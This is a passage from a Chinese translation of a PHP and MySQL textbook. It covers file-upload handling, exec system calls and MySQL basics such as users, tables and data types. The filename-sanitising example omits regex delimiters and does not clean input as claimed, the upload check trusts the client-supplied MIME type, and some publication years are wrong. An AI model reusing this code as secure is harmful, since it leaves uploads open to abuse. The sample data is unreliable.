当上传文件时,$_FILES 数组中存储了五个东西,如表 7-6 所示(其中file是提交表单提供的文件上传字段名)。

表 7-6. $_FILES数组的内容

数组元素 内容
$_FILES['*file*']['*name*'] 上传文件的名称(例如,smiley.jpg
$_FILES['*file*']['*type*'] 文件的内容类型(例如,image/jpeg
$_FILES['*file*']['*size*'] 文件的字节大小
$_FILES['*file*']['*tmp_name*'] 服务器上存储的临时文件名
$_FILES['*file*']['*error*'] 文件上传引起的错误代码

以前称为MIME(多用途互联网邮件扩展)类型的内容类型,但由于它们后来的使用扩展到整个互联网,现在通常称为互联网媒体类型。表 7-7 展示了在$_FILES['file']['type']中经常出现的一些类型。

表 7-7. 一些常见的互联网媒体内容类型

application/pdf image/gif multipart/form-data text/xml
application/zip image/jpeg text/css video/mpeg
audio/mpeg image/png text/html video/mp4
audio/x-wav application/json text/plain audio/webm

验证

我希望现在毋庸置疑(尽管我还是会这么说),表单数据验证是非常重要的,因为用户可能试图入侵你的服务器。

除了恶意构造的输入数据之外,你还需要检查一些其他事情,例如是否实际接收到了文件,以及如果有的话,是否发送了正确类型的数据。

考虑到所有这些因素,示例 7-16,upload2.php,是upload.php的更安全的重写。

示例 7-16. upload.php的更安全版本
<?php // upload2.php
  echo <<<_END
 <html><head><title>PHP Form Upload</title></head><body>
 <form method='post' action='upload2.php' enctype='multipart/form-data'>
 Select a JPG, GIF, PNG or TIF File:
 <input type='file' name='filename' size='10'>
 <input type='submit' value='Upload'></form>
 _END;

  if ($_FILES)
  {
    $name = $_FILES['filename']['name'];

    switch($_FILES['filename']['type'])
    {
      case 'image/jpeg': $ext = 'jpg'; break;
      case 'image/gif':  $ext = 'gif'; break;
      case 'image/png':  $ext = 'png'; break;
      case 'image/tiff': $ext = 'tif'; break;
      default:           $ext = '';    break;
    }
    if ($ext)
    {
      $n = "image.$ext";
      move_uploaded_file($_FILES['filename']['tmp_name'], $n);
      echo "Uploaded image '$name' as '$n':<br>";
      echo "<img src='$n'>";
    }
    else echo "'$name' is not an accepted image file";
  }
  else echo "No image has been uploaded";

  echo "</body></html>";
?>

非 HTML 代码部分从示例 7-15 的半打行扩展到超过 20 行,从if ($_FILES)开始。

就像之前的版本一样,这个if行检查是否实际上有任何数据被发布,但是现在在程序底部附近有一个匹配的else,当没有上传任何内容时向屏幕输出一条消息。

if语句内部,变量$name被赋予从上传计算机检索到的文件名的值(就像以前一样),但是这一次我们不依赖于用户发送给我们有效数据。相反,switch语句根据此程序支持的四种图像类型检查上传的内容类型。如果找到匹配项,则变量$ext设置为该类型的三字母文件扩展名。如果没有找到匹配项,则上传的文件不属于接受的类型,变量$ext设置为空字符串""

注意

在这个例子中,文件类型仍然来自浏览器,并且可以被上传文件的用户修改或更改。在这种情况下,此类用户操作并不令人担忧,因为这些文件只被视为图像。但是,如果文件可能是可执行的,你不应依赖于你未确认绝对正确的信息。

代码的下一部分然后检查变量$ext是否包含一个字符串,并且如果是这样的话,创建一个新的文件名叫做$n,基本名称为image,扩展名存储在$ext中。这意味着程序对要创建的文件类型有完全的控制,因为它只能是其中之一:image.jpgimage.gifimage.pngimage.tif

有了程序未被破坏的保证,PHP 代码的其余部分与之前的版本大致相同。它将上传的临时图像移动到新位置,然后显示它,同时显示旧图像和新图像的名称。

注意

不用担心必须删除 PHP 在上传过程中创建的临时文件,因为如果文件没有被移动或重命名,当程序退出时它会自动删除。

if语句之后,有一个匹配的else语句,只有在上传了不受支持的图像类型时才会执行(此时显示适当的错误消息)。

当编写自己的文件上传例程时,我强烈建议您使用类似的方法,并为上传的文件预先选择名称和位置。这样,无法通过您使用的变量尝试添加路径名和其他恶意数据。如果这意味着多个用户可能使用相同的名称上传文件,则可以在这些文件前加上其用户的用户名前缀,或将它们保存到为每个用户单独创建的文件夹中。

但是,如果您必须使用提供的文件名,您应该通过允许仅包含字母数字字符和句点的方式进行清理,可以使用以下命令使用正则表达式(参见第十八章)对$name进行搜索和替换:

$name = preg_replace("/[^A-Za-z0-9.]/", "", $name);

这样,字符串$name中仅留下 A-Z、a-z、0-9 和句点,并删除所有其他内容。

更好的是,为了确保您的程序在所有系统上都能正常工作,无论它们是区分大小写还是不区分大小写,您可能应该改用以下命令,同时将所有大写字母改为小写字母:

$name = strtolower(preg_replace("[^A-Za-z0-9.]", "", $name));
注意

有时您可能会遇到image/pjpeg的媒体类型,表示渐进式 JPEG,但您可以安全地将其添加到代码中作为image/jpeg的别名,如下所示:

case 'image/pjpeg':
case 'image/jpeg': $ext = 'jpg'; break;

系统调用

有时 PHP 可能没有您执行某个操作所需的函数,但运行它的操作系统可能会有。在这种情况下,您可以使用exec系统调用来完成工作。

例如,要快速查看当前目录的内容,您可以使用诸如示例 7-17 的程序。如果您使用的是 Windows 系统,它将直接使用 Windows dir命令运行。在 Linux、Unix 或 macOS 上,请注释或删除第一行,并取消注释第二行以使用ls系统命令。您可能希望键入此程序,将其保存为exec.php,并在浏览器中调用它。

示例 7-17. 执行系统命令
<?php // exec.php
  $cmd = "dir";   // Windows, Mac, Linux
  // $cmd = "ls"; // Linux, Unix & Mac

  exec(escapeshellcmd($cmd), $output, $status);

  if ($status) echo "Exec command failed";
  else
  {
    echo "<pre>";
    foreach($output as $line) echo htmlspecialchars("$line\n");
    echo "</pre>";
  }
?>

调用htmlspecialchars函数用于将系统返回的任何特殊字符转换为 HTML 可以理解和正确显示的字符,整理输出。根据您使用的系统,运行此程序的结果将类似于以下内容(来自 Windows dir命令):

Volume in drive C is Hard Disk
 Volume Serial Number is DC63-0E29

 Directory of C:\Program Files (x86)\Ampps\www

11/04/2025  11:58    <DIR>          .
11/04/2025  11:58    <DIR>          ..
28/01/2025  16:45    <DIR>          5th_edition_examples
08/01/2025  10:34    <DIR>          cgi-bin
08/01/2025  10:34    <DIR>          error
29/01/2025  16:18            1,150 favicon.ico
              1 File(s)      1,150 bytes
              5 Dir(s)  1,611,387,486,208 bytes free

exec接受三个参数:

  • 命令本身(在前一种情况下为$cmd

  • 系统将从命令中获取输出的数组(在前一种情况下为$output

  • 一个变量,用于包含调用的返回状态(在前一种情况下是$status

如果愿意,可以省略$output$status参数,但将无法知道调用生成的输出,甚至不知道是否成功完成。

您还应注意escapeshellcmd函数的使用。在发出exec调用时,始终使用此函数是一个好习惯,因为它清理命令字符串,防止执行任意命令,如果您向调用提供用户输入。

警告

共享网络主机通常会禁用系统调用功能,因为它们存在安全风险。如果可能的话,你应该始终尝试在 PHP 内部解决问题,只有在确实必要时才直接访问系统。此外,访问系统相对较慢,如果你的应用程序预计在 Windows 和 Linux/Unix 系统上运行,你需要编写两种实现。

XHTML 还是 HTML5?

因为 XHTML 文档需要良好的格式,你可以使用标准的 XML 解析器解析它们——与 HTML 不同,后者需要宽松的专用 HTML 解析器。因此,XHTML 从未真正流行起来,当制定新标准时,万维网联盟选择支持 HTML5 而不是较新的 XHTML2 标准。

HTML5 同时具有 HTML4 和 XHTML 的一些特性,但使用起来更简单,验证时更宽松。幸运的是,现在你只需要在 HTML5 文档的头部放置一个单一的文档类型声明(而不是之前需要的多种 strict、transitional 和 frameset 类型):

<!DOCTYPE html>

只需简单的单词html即可告诉浏览器你的网页是为 HTML5 设计的,因为自 2011 年左右,大多数流行浏览器的最新版本都支持大部分 HTML5 规范,所以这种文档类型通常是你唯一需要的,除非你选择支持旧版浏览器。

就 HTML 文档编写而言,Web 开发人员可以安全地忽略旧的 XHTML 文档类型和语法(例如使用<br />而不是更简单的<br>标签)。但如果你发现自己需要支持非常旧的浏览器或依赖于 XHTML 的特殊应用程序,你可以在http://xhtml.com获取更多信息。

问题

  1. 哪个printf转换说明符用于显示浮点数?

  2. 什么printf语句可用于将输入字符串"Happy Birthday"输出为字符串"**Happy"

  3. 要将printf的输出发送到变量而不是浏览器,你会使用哪个替代函数?

  4. 如何为 2025 年 5 月 2 日上午 7:11 创建 Unix 时间戳?

  5. 使用fopen以写入和读取模式打开文件,并将文件截断,并将文件指针置于起始位置时,会使用哪种文件访问模式?

  6. 删除文件file.txt的 PHP 命令是什么?

  7. 哪个 PHP 函数用于一次性从网络上读取整个文件?

  8. 哪个 PHP 超全局变量包含有关上传文件的详细信息?

  9. 哪个 PHP 函数启用运行系统命令?

  10. HTML5 中更倾向于使用以下哪种标签风格:<hr>还是<hr />

请参阅“第七章答案”,位于附录 A 中,以获取这些问题的答案。

第八章:MySQL 简介

MySQL 已经安装了超过一千万个实例,可能是最流行的用于 Web 服务器的数据库管理系统。在 1990 年代中期开发,现在是一种成熟的技术,支持如今最受欢迎的互联网目的地之一。

其成功之一是与 PHP 一样,它是免费使用的。但它也非常强大且速度异常快。MySQL 也具有高度可扩展性,这意味着它可以随着您的网站增长;最新的基准测试结果可以在线更新

MySQL 基础知识

数据库是存储在计算机系统中的结构化记录或数据的集合,并以可以快速搜索并能迅速检索信息的方式组织。

MySQL 中的 SQL 代表 Structured Query Language。这种语言基于英语并且也用于其他数据库,如 Oracle 和 Microsoft SQL Server。它旨在通过命令允许从数据库中发出简单请求,例如:

SELECT title FROM publications WHERE author = 'Charles Dickens';

一个 MySQL 数据库包含一个或多个,每个表包含记录。在这些行中有各种字段,包含数据本身。表 8-1 展示了一个包含五个出版物的示例数据库,详细说明了作者、标题、类型和出版年份。

表 8-1。简单数据库示例

作者 标题 类型 年份
马克·吐温 汤姆·索亚历险记 小说 1876
简·奥斯汀 傲慢与偏见 小说 1811
查尔斯·达尔文 物种起源 非虚构 1856
查尔斯·狄更斯 古玩店 小说 1841
威廉·莎士比亚 罗密欧与朱丽叶 戏剧 1594

表中的每一行与 MySQL 表中的一行相同,表中的每一列对应 MySQL 中的一列,行内的每个元素与 MySQL 中的字段相同。

为了唯一标识此数据库,我将在接下来的示例中称其为出版物数据库。同时,正如您已经注意到的,所有这些出版物都被认为是文学经典,所以我将称表中保存详细信息的表为经典文学

数据库术语总结

您现在需要熟悉的主要术语如下:

数据库

包含 MySQL 数据集合的整体容器

数据库中存储实际数据的子容器

表内的单个记录,可能包含多个字段

一行中的字段名称

我应该指出,我并不试图复制关于关系数据库使用的精确术语,而只是提供简单、日常的术语,以帮助您快速掌握基本概念并开始使用数据库。

通过命令行访问 MySQL

有三种主要方式可以与 MySQL 交互:使用命令行、通过诸如 phpMyAdmin 的 Web 界面以及通过 PHP 等编程语言。我们将从第 11 章开始进行这些操作的第三种方法,但现在让我们先看看前两种方法。

启动命令行界面

下面的部分描述了 Windows、macOS 和 Linux 的相关说明。

Windows 用户

如果您按照第 2 章中解释的方式安装了 AMPPS,您将能够从以下目录访问 MySQL 可执行文件:

C:\Program Files\Ampps\mysql\bin
注意

如果您在其他位置安装了 AMPPS,则需要使用该目录,例如 32 位安装的 AMPPS 如下:

C:\Program Files (x86)\Ampps\mysql\bin

默认情况下,初始 MySQL 用户是root,默认密码是mysql。因此,要进入 MySQL 的命令行界面,请选择开始→运行,输入CMD到运行框中,然后按回车。这将调用 Windows 命令提示符。从那里,输入以下内容(根据刚才讨论做出适当更改):

cd C:\"Program Files\Ampps\mysql\bin"
mysql -u root -pmysql

第一条命令切换到 MySQL 目录,第二条告诉 MySQL 使用用户root和密码mysql登录。您现在已登录到 MySQL,可以开始输入命令了。

如果您使用的是 Windows PowerShell(而不是命令提示符),它不会从当前位置加载命令,因此您必须明确指定要从何处加载程序,这种情况下,您应输入以下内容(注意在mysql命令之前加上前缀 ./):

cd C:\"Program Files\Ampps\mysql\bin"
./mysql -u root -pmysql

要确保一切都按预期工作,请输入以下内容,结果应类似于图 8-1:

SHOW databases;

图 8-1. 从 Windows 命令提示符访问 MySQL

您现在可以继续下一节,“使用命令行界面”。

macOS 用户

要继续本章,您应按照第 2 章中详细介绍的方式安装 AMPPS。您还应该运行 Web 服务器并启动 MySQL 服务器。

要进入 MySQL 命令行界面,请启动 Terminal 程序(Finder→Utilities 中应该有)。然后调用已安装在目录/Applications/ampps/mysql/bin中的 MySQL 程序。

默认情况下,初始 MySQL 用户是root,密码为mysql。因此,要启动程序,请输入以下内容:

/Applications/ampps/mysql/bin/mysql -u root -pmysql

此命令告诉 MySQL 使用用户root和密码mysql登录。为了验证一切正常,请输入以下内容(应该会得到图 8-2 的结果):

SHOW databases;

从 macOS 终端程序访问 MySQL

图 8-2. 从 macOS 终端程序访问 MySQL

如果收到类似Can't connect to local MySQL server through socket的错误,请首先按照第二章中描述的步骤启动 MySQL 服务器。

您现在应该准备好进入下一节,“使用命令行界面”。

Linux 用户

在运行类似 Linux 的 Unix 操作系统的系统上,您可能已经安装并运行了 PHP 和 MySQL,并且能够进入下一节的示例(如果没有,则可以按照第二章中的步骤安装 AMPPS)。首先,您应该输入以下内容以登录到您的 MySQL 系统:

mysql -u root -p

这告诉 MySQL 使用用户root登录,并要求输入密码。如果有密码,请输入;否则,只需按回车键即可。

一旦登录成功,请输入以下内容来测试程序——您应该会看到类似图 8-3 的响应:

SHOW databases;

使用 Linux 访问 MySQL

图 8-3. 使用 Linux 访问 MySQL

如果此过程在任何时候失败,请参考第二章确保您已正确安装 MySQL。否则,您现在应该准备好进入下一节,“使用命令行界面”。

远程服务器上的 MySQL

如果您正在访问远程服务器上的 MySQL,它可能是 Linux/FreeBSD/Unix 类型的服务器,您应该通过安全的 SSH 协议连接到它(切勿使用不安全的 Telnet 协议)。一旦连接成功,您可能会发现事情有些不同,这取决于系统管理员如何设置服务器——尤其是如果它是共享主机服务器。因此,您需要确保已获得 MySQL 的访问权限,并且拥有您的用户名和密码。有了这些信息,您可以输入以下内容,其中username是您提供的用户名:

mysql -u *username* -p

提示输入密码。然后,您可以尝试以下命令,这应该会得到类似图 8-3 的结果:

SHOW databases;

可能已经存在其他数据库,而test数据库可能不存在。

还要记住系统管理员对所有事物有最终控制权,您可能会遇到一些意外的设置。例如,您可能会发现需要在创建的所有数据库名称之前加上唯一的标识字符串,以确保您的名称不会与其他用户创建的数据库名称发生冲突。

因此,如果您遇到任何问题,请与系统管理员交谈,他们将会帮助您解决问题。只需告诉系统管理员您需要用户名和密码。您还应该要求能够创建新的数据库或者至少为您创建一个准备好使用的数据库。然后,您可以在该数据库中创建所有需要的表格。

使用命令行界面

从现在开始,无论您使用 Windows、macOS 还是 Linux 直接访问 MySQL,使用的所有命令(以及可能出现的错误)都是相同的。

分号

让我们从基础知识开始。您注意到您键入的SHOW databases;命令末尾的分号(;)了吗?分号由 MySQL 用于分隔或结束命令。如果您忘记输入它,MySQL 将发出提示并等待您输入。所需的分号被纳入语法中,以便您输入多行命令,这可能很方便,因为有些命令变得相当长。它还允许您在每个命令后放置分号,一次输入多个命令。当您按下 Enter(或 Return)键时,解释器会将它们全部接收并按顺序执行。

注意

很常见的是,您会收到 MySQL 提示符而不是您命令的结果;这意味着您忘记了最后的分号。只需输入分号并按 Enter 键,您将得到您想要的结果。

MySQL 可能会向您展示六种不同的提示符(参见表 8-2),因此您始终会知道在多行输入时的位置。

表 8-2. MySQL 的六个命令提示符

MySQL 提示符 意义
mysql> 准备并等待命令
-> 等待下一行命令
'> 等待下一行以单引号开头的字符串
"> 等待下一行以双引号开头的字符串
`> 等待下一行以反引号开头的字符串
/*> 等待下一行以/*开头的注释

取消命令

如果您在输入命令的过程中决定不执行它,可以输入\c并按回车键。示例 8-1 展示了如何使用该命令。

示例 8-1. 取消输入行
meaningless gibberish to mysql \c

当您键入该行时,MySQL 将忽略您键入的所有内容并发出新的提示符。如果没有\c,它将显示错误消息。但要小心:如果您已打开字符串或注释,请先关闭它,然后再使用\c,否则 MySQL 会认为\c只是字符串的一部分。示例 8-2 展示了正确的做法。

示例 8-2. 从字符串内部取消输入
this is "meaningless gibberish to mysql" \c

还要注意,在分号后使用\c将不会取消之前的命令,因为这是一个新的语句。

MySQL 命令

您已经看到了SHOW命令,它列出了表、数据库和许多其他项目。您最常使用的命令列在表 8-3 中。

表 8-3. 常见的 MySQL 命令

命令 动作
ALTER 修改数据库或表
BACKUP 备份表
\c 取消输入
CREATE 创建数据库
DELETE 从表中删除一行
DESCRIBE 描述表的列
DROP 删除数据库或表
EXIT (Ctrl-C) 退出(某些系统上)
GRANT 更改用户权限
HELP (\h, \?) 显示帮助
INSERT 插入数据
LOCK 锁定表
QUIT `(`\q`)` EXIT
RENAME 重命名表
SHOW 列出对象的详细信息
SOURCE 执行文件
STATUS (\s) 显示当前状态
TRUNCATE 清空表
UNLOCK 解锁表
UPDATE 更新现有记录
USE 使用数据库

在我们继续之前,我将涵盖其中大部分内容,但首先,您需要记住 MySQL 命令的几个要点:

  • SQL 命令和关键字不区分大小写。CREATEcreateCrEaTe都表示同一意思。然而,为了清晰起见,您可能更喜欢使用大写。

  • 在 Linux 和 macOS 上,表名区分大小写,但在 Windows 上不区分大小写。因此,为了可移植性,请始终选择一种大小写风格并坚持使用。推荐的风格是对表名使用小写。

创建数据库

如果您正在远程服务器上工作,并且只有一个用户帐户和访问为您创建的单个数据库,请继续到“创建表”部分(#creating_a_table)。否则,通过执行以下命令来创建一个名为publications的新数据库:

CREATE DATABASE publications;

一条成功的命令将返回一条目前意义不大的消息—Query OK, 1 row affected (0.00 sec)—但很快就会变得合理。现在您已经创建了数据库,想要使用它,请执行以下命令:

USE publications;

您现在应该看到消息Database changed,然后可以继续执行以下示例。

创建用户

现在您已经看到了如何轻松使用 MySQL 并创建了您的第一个数据库,是时候看看如何创建用户了,因为您可能不想将 PHP 脚本授予 MySQL 的 root 访问权限——如果被黑客入侵将会带来真正的麻烦。

要创建用户,请发出CREATE USER命令,其形式如下(不要输入此命令;这不是一个实际的工作命令):

CREATE USER '*`username`*'@'*`hostname`*' IDENTIFIED BY '*`password`*';
GRANT *`PRIVILEGES`* ON *`database``.``object`* TO '*`username`*'@'*`hostname`*';

这看起来都很简单,可能除了*database.object*部分,它指的是数据库本身及其包含的对象,如表(参见表 8-4)。

表 8-4. GRANT命令的示例参数

参数 意义
*.* 所有数据库及其所有对象
*`database`*.* 仅限名为database的数据库及其所有对象
*`database`*.*`object`* 仅限名为database的数据库及其名为object的对象

所以,让我们创建一个用户,他可以访问新的publications数据库及其所有对象,输入以下命令(用您选择的用户名jim和密码password替换):

CREATE USER 'jim'@'localhost' IDENTIFIED BY 'password';
GRANT ALL ON publications.* TO 'jim'@'localhost';

这样做的效果是允许用户jim@localhost使用密码password完全访问publications数据库。你可以通过输入quit退出并重新运行 MySQL 来测试此步骤是否有效,但不要像以前那样以 root 身份登录,而是使用你创建的用户名登录(例如,jim)。参见 Table 8-5 获取适合你操作系统的正确命令。如果mysql客户端程序安装在系统的不同目录中,则需要根据需要修改。

表 8-5. 启动 MySQL 并作为 jim@localhost 登录

操作系统 示例命令
Windows C:\"Program Files\Ampps\mysql\bin\mysql" -u jim -p
macOS /Applications/ampps/mysql/bin/mysql -u jim -p
Linux mysql -u jim –p

现在你只需要在提示时输入密码,就可以登录了。

如果你愿意,你可以在-p后立即输入你的密码(无需任何空格),以避免在提示时输入密码,但这被认为是不良实践,因为如果其他人登录到你的系统,可能有方法查看你输入的命令并找出你的密码。

注意

你只能授予你已经拥有的权限,并且你必须有权限执行GRANT命令。如果你不打算授予所有权限,你可以选择授予一系列的权限。有关GRANT命令和一旦授予就可以撤销的REVOKE命令的更多详细信息,请参阅文档。此外,请注意,如果你创建一个新用户但没有指定IDENTIFIED BY子句,该用户将没有密码,这是非常不安全的情况,应该避免。

创建表格

此时,你应该已经登录到 MySQL,为publications数据库(或为你创建的数据库)授予了ALL权限,因此你可以开始创建你的第一个表格了。确保输入以下内容以使用正确的数据库(如果名称不同,请替换publications):

USE publications;

现在逐行输入 Example 8-3 中的命令。

Example 8-3. 创建名为 classics 的表
CREATE TABLE classics (
 author VARCHAR(128),
 title VARCHAR(128),
 type VARCHAR(16),
 year CHAR(4)) ENGINE InnoDB;

注意

此命令中的最后两个词需要稍作解释。MySQL 可以以多种不同的方式内部处理查询,这些不同的方式由不同的引擎支持。从版本 5.6 开始,InnoDB是 MySQL 的默认存储引擎,我们在这里使用它是因为它支持FULLTEXT搜索。只要你有一个相对最新的 MySQL 版本,你可以在创建表时省略命令中的ENGINE InnoDB部分,但我现在保留它以强调正在使用的引擎。

如果您使用的是 MySQL 5.6 之前的版本,则 InnoDB 引擎不支持FULLTEXT索引,因此您需要在命令中将InnoDB替换为MyISAM以指示您希望使用该引擎(参见“创建 FULLTEXT 索引”)。

InnoDB 通常更高效且是推荐的选项。如果您按照第二章中详细说明的方法安装了 AMPPS 堆栈,则应至少具有 MySQL 的 5.6.35 版本。

注意

您还可以将上一个命令一次性在一行上执行,就像这样:

CREATE TABLE classics (author VARCHAR(128), title
VARCHAR(128), type VARCHAR(16), year CHAR(4)) ENGINE
InnoDB;

但是 MySQL 命令可能会很长和复杂,因此我建议在您熟悉较长命令之前使用示例 8-3 中显示的格式。

然后 MySQL 应显示响应Query OK, 0 rows affected,以及执行命令所花费的时间。如果您看到错误消息,请仔细检查您的语法。每个括号和逗号都很重要,打字错误很容易出现。

要检查新表是否已创建,请输入以下内容:

DESCRIBE classics;

一切顺利的话,您将看到示例 8-4 中显示的一系列命令和响应,特别注意显示的表格式。

示例 8-4. MySQL 会话:创建和检查新表
mysql> USE publications;
Database changed
mysql> CREATE TABLE classics (
    ->  author VARCHAR(128),
    ->  title VARCHAR(128),
    ->  type VARCHAR(16),
    ->  year CHAR(4)) ENGINE InnoDB;
Query OK, 0 rows affected (0.03 sec)

mysql> DESCRIBE classics;
+--------+--------------+------+-----+---------+-------+
| Field  | Type         | Null | Key | Default | Extra |
+--------+--------------+------+-----+---------+-------+
| author | varchar(128) | YES  |     | NULL    |       |
| title  | varchar(128) | YES  |     | NULL    |       |
| type   | varchar(16)  | YES  |     | NULL    |       |
| year   | char(4)      | YES  |     | NULL    |       |
+--------+--------------+------+-----+---------+-------+
4 rows in set (0.00 sec)

当您需要确保已正确创建 MySQL 表时,DESCRIBE命令是一种无价的调试辅助工具。您还可以使用它来回顾表的字段或列名称以及每个字段中的数据类型。让我们详细查看每个标题:

Field

表内每个字段或列的名称

Type

字段中存储的数据类型

Null

字段是否允许包含NULL

Key

已应用的键的类型(在 MySQL 中,索引是快速查找和搜索数据的一种方式)

Default

如果在创建新行时未指定值,则将分配给字段的默认值

Extra

附加信息,例如字段是否设置为自动增量

数据类型

在示例 8-3 中,您可能已经注意到表的三个字段被赋予了VARCHAR数据类型,而一个字段被赋予了CHAR类型。术语VARCHAR代表可变长度字符串,并且该命令接受一个数值,告诉 MySQL 在此字段中存储的字符串的最大长度。

CHARVARCHAR都接受文本字符串,并对字段大小施加限制。不同之处在于,CHAR字段中的每个字符串都具有指定的大小。如果插入较小的字符串,它将填充空格。VARCHAR字段不会填充文本;它允许字段的大小根据插入的文本变化。但是,VARCHAR需要一些开销来跟踪每个值的大小。因此,如果所有记录中的大小类似,CHAR稍微更有效率,而如果大小差异很大并且可能很大,则VARCHAR更有效率。此外,这种开销导致对VARCHAR数据的访问比对CHAR数据稍慢。

字符和文本列的另一个特性,对今天的全球网络覆盖非常重要的是字符集。这些为特定字符分配特定的二进制值。你用于英语的字符集显然与用于俄语的不同。你可以在创建字符或文本列时为其指定字符集。

在我们的示例中,VARCHAR非常有用,因为它可以容纳不同长度的作者名和标题,同时帮助 MySQL 规划数据库的大小,并更轻松地执行查找和搜索。只需注意,如果您尝试分配超过允许长度的字符串值,它将被截断为表定义中声明的最大长度。

然而,year字段具有可预测的值,因此我们使用更高效的CHAR(4)数据类型而不是VARCHAR。参数为4允许 4 个字节的数据,支持从–999 到 9999 年的所有年份;一个字节包括 8 位,可以具有 00000000 到 11111111 的值,即 0 到 255 的十进制数值。

当然,你可以只存储两位数值来表示年份,但如果你的数据在下个世纪仍然需要使用,或者可能会发生环绕,那么就需要先进行清理—考虑到可能导致日期从 2000 年 1 月 1 日开始被视为 1900 年的“千年虫”问题,在全球最大的计算机设施中都存在这个问题。

注意

我在classics表中没有使用YEAR数据类型,因为它仅支持 0000 年和 1901 年至 2155 年的年份。这是因为 MySQL 为了效率的原因将年份存储在单个字节中,但这意味着只有 256 年可用,并且classics表中的标题出版年份远在 1901 年之前。

CHAR数据类型

表 8-6 列出了CHAR数据类型。这两种类型都有一个参数,用于设置字段允许的字符串最大(或确切)长度。正如表所示,每种类型都有一个内置的最大字节数。

表 8-6. MySQL 的 CHAR 数据类型

数据类型 使用的字节 示例
CHAR(*`n`*) 精确 n(<= 255) CHAR(5) “Hello” uses 5 bytes CHAR(57) “Goodbye” uses 57 bytes
VARCHAR(*`n`*) 最多 n (<= 65535) VARCHAR(7) “Hello” 使用 5 字节 VARCHAR(100) “Goodbye” 使用 7 字节

BINARY 数据类型

BINARY 数据类型(参见 表 8-7)存储没有相关字符集的字节字符串。例如,你可以使用 BINARY 数据类型来存储 GIF 图像。

表 8-7. MySQL 的 BINARY 数据类型

数据类型 使用字节 示例
BINARY(n) 恰好 n (<= 255) CHAR 相似但包含二进制数据
VARBINARY(n) 最多 n (<= 65535) VARCHAR 相似但包含二进制数据

TEXT 数据类型

字符数据也可以存储在一个 TEXT 字段中。这些字段与 VARCHAR 字段之间的差异很小:

  • 在版本 5.0.3 之前,MySQL 会从 VARCHAR 字段中删除前导和尾随空格。

  • TEXT 字段不能有默认值。

  • MySQL 仅索引 TEXT 列的前 n 个字符(创建索引时指定 n)。

这意味着,如果你需要搜索字段的整个内容,VARCHAR 是更好和更快的数据类型。如果你永远不会搜索字段中超过某个前导字符数,那么你可能应该使用 TEXT 数据类型(参见 表 8-8)。

表 8-8. MySQL 的 TEXT 数据类型

数据类型 使用字节 属性
TINYTEXT(*`n`*) 最多 n (<= 255) 被视为带有字符集的字符串
TEXT(*`n`*) 最多 n (<= 65535) 被视为带有字符集的字符串
MEDIUMTEXT(*`n`*) 最多 n (<= 1.67e + 7) 被视为带有字符集的字符串
LONGTEXT(*`n`*) 最多 n (<= 4.29e + 9) 被视为带有字符集的字符串

数据类型的最大值越小,效率也越高;因此,你应该使用你知道对于字段中存储的任何字符串都足够的最小最大值。

BLOB 数据类型

术语 BLOB 代表 二进制大对象,因此,正如你想的那样,BLOB 数据类型对于超过 65,536 字节大小的二进制数据最为有用。BLOBBINARY 数据类型之间的主要区别是 BLOB 不能有默认值。BLOB 数据类型列在 表 8-9 中。

表 8-9. MySQL 的 BLOB 数据类型

数据类型 使用字节 属性
TINYBLOB(*`n`*) 最多 n (<= 255) 被视为二进制数据—无字符集
BLOB(*`n`*) 最多 n (<= 65535) 被视为二进制数据—无字符集
MEDIUMBLOB(*`n`*) 最多 n (<= 1.67e + 7) 被视为二进制数据—无字符集
LONGBLOB(*`n`*) 最多 n (<= 4.29e + 9) 被视为二进制数据—无字符集

数值数据类型

MySQL 支持各种数值数据类型,从单字节到双精度浮点数。尽管数值字段可以使用的最大内存为 8 字节,但建议您选择能够充分处理您期望的最大值的最小数据类型。这有助于保持数据库小并快速访问。

表 8-10 列出了 MySQL 支持的数值数据类型及其可包含的值范围。如果您对术语不熟悉,有符号数的可能范围从负值通过 0 到正值;无符号数的值范围从 0 到正值。它们都可以保存相同数量的值;可以想象有符号数被左移一半,使其一半的值为负数,另一半为正数。请注意,浮点数值(任何精度)可能只是有符号的。

表 8-10. MySQL 的数值数据类型

数据类型 使用字节 最小值 最大值
有符号 无符号 有符号 无符号
--- --- --- ---
TINYINT 1 –128 0
SMALLINT 2 –32768 0
MEDIUMINT 3 –8.38e + 6 0
INT / INTEGER 4 –2.15e + 9 0
BIGINT 8 –9.22e + 18 0
FLOAT 4 –3.40e + 38 n/a
DOUBLE / REAL 8 –1.80e + 308 n/a

要指定数据类型是否为无符号,请使用UNSIGNED限定词。以下示例创建了一个名为tablename的表,其中包含一个名为fieldnameUNSIGNED INTEGER数据类型的字段:

CREATE TABLE tablename (fieldname INT UNSIGNED);

在创建数值字段时,您还可以传递一个可选的数字作为参数,如下所示:

CREATE TABLE tablename (fieldname INT(4));

但您必须记住,与BINARYCHAR数据类型不同,此参数并不表示要使用的存储字节数。这似乎是反直觉的,但该数字实际上表示的是在检索字段中的数据时的显示宽度。它通常与ZEROFILL限定词一起使用,如下所示:

CREATE TABLE tablename (fieldname INT(4) ZEROFILL);

这样做的效果是使任何宽度小于四个字符的数字填充一个或多个零,以使字段的显示宽度为四个字符长度。当字段已经达到或超过指定宽度时,不会进行填充。

日期和时间类型

MySQL 支持的主要剩余数据类型涉及日期和时间,可以在表 8-11 中查看。

表 8-11. MySQL 的DATETIME数据类型

数据类型 时间/日期格式
DATETIME '0000-00-00 00:00:00'
DATE '0000-00-00'
TIMESTAMP '0000-00-00 00:00:00'
TIME '00:00:00'
YEAR 0000(仅年份 0000 和 1901–2155)

DATETIMETIMESTAMP数据类型显示方式相同。主要区别在于TIMESTAMP具有非常狭窄的范围(从 1970 年到 2037 年),而DATETIME将保存几乎您可能指定的任何日期,除非您对古代历史或科幻感兴趣。

TIMESTAMP很有用,因为你可以让 MySQL 为你设置值。如果在添加行时未指定值,则自动插入当前时间。你还可以让 MySQL 在每次更改行时更新TIMESTAMP列。

自动增量属性

有时您需要确保数据库中每一行都保证是唯一的。您可以通过仔细检查输入的数据并确保至少有一个值在任何两行中不同来在程序中执行此操作,但这种方法容易出错,并且仅在某些情况下有效。例如,在classics表中,作者可能多次出现。同样,出版年份也会频繁重复,等等。很难保证没有重复行。

通用解决方案是专门为此目的使用额外的列。一会儿我们将讨论使用出版物的 ISBN(国际标准书号),但首先我想介绍AUTO_INCREMENT数据类型。

正如其名称所示,赋予此数据类型的列将将其内容的值设置为先前插入行中的列条目值加 1。示例 8-5 显示了如何向表classics添加名为id的新列,该列具有自增功能。

示例 8-5. 添加自增列 id
ALTER TABLE classics ADD id INT UNSIGNED NOT NULL AUTO_INCREMENT KEY;

